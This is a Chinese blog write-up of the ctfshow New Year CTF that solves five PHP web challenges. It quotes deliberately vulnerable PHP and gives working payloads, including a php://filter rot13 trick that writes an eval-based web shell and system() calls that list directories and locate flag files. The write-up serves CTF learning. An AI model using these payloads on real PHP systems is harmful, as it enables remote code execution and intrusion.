ctfshow 新年欢乐赛WP

热身

<?php

eval($_GET['f']);

方法一

在这里插入图片描述
打开之后先查看phpinfo()
直接可以代码执行,从phpinfo里面找到flag的位置(自动包含的文件)
在这里插入图片描述
输出即可得flag

在这里插入图片描述

方法二

第二种思路是,查看当前页面得变量,直接出flag
?f=print_r(get_defined_vars());

在这里插入图片描述

web1

<?php

highlight_file(__FILE__);
error_reporting(0);

$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);

知识点:死亡exit的绕过(分为三种情况)
参考文章:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

网上通用payload:?content=php://filter/write=string.rot13|<?cuc @riny($_CBFG[pzq]);?>|/resource=shell.php========><?php @eval($_POST[cmd]);?>
在这里插入图片描述
写入可利用参数cmd

查找fl开头的文件,post传参 cmd=system("find / -name fl*");

在这里插入图片描述
发现有个/flag.txt
在这里插入图片描述
在这里插入图片描述
查看/flag.txt 即为flag

web2

<?php

highlight_file(__FILE__);
session_start();
error_reporting(0);

include "flag.php";

if(count($_POST)===1){ //post传入的参数量必须只有一个
        extract($_POST);
        if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){ //invoke
                echo $flag;
        }
}
?>

session_id() 返回当前会话ID。 如果当前没有会话,则返回空字符串("")。

在这里插入图片描述
Post
session_id=session_id
Cookie
PHPSESSID=HappyNewYear

即可得flag

web3

<?php

highlight_file(__FILE__);
error_reporting(0);

include "flag.php";
$key=  call_user_func(($_GET[1]));

if($key=="HappyNewYear"){
  echo $flag;
}

die("虎年大吉,新春快乐!");

知识点:弱比较和回调函数
PHP弱类型比较:https://blog.csdn.net/THlo1/article/details/108227721
在这里插入图片描述

payload:
?1=session_start
?1=error_reporting
?1=json_last_error

session_start:开启会话
error_reporting:如果没有设置可选参数 level, error_reporting() 仅会返回当前的错误报告级别
json_last_error:如果有,返回 JSON 编码解码时最后发生的错误

web4

<?php
highlight_file(__FILE__);
error_reporting(0);

$key=  call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");

die("虎年大吉,新春快乐!");

spl_autoload_extensions — 注册并返回spl_autoload函数使用的默认文件扩展名。

当不使用任何参数调用此函数时,它返回当前的文件扩展名的列表,不同的扩展名用逗号分隔。要修改文件扩展名列表,用一个逗号分隔的新的扩展名列表字符串来调用本函数即可。中文注:默认的spl_autoload函数使用的扩展名是".inc,.php"。

传入 ?1=spl_autoload_extensions生成 .inc,.php 文件(shell文件)

在这里插入图片描述

之后进入.inc,.php

1=system(‘ls /’)
查看目录下所有文件,发现有个f1ag.txt

在这里插入图片描述
在这里插入图片描述
查看f1ag.txt即可得flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

sec0nd_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值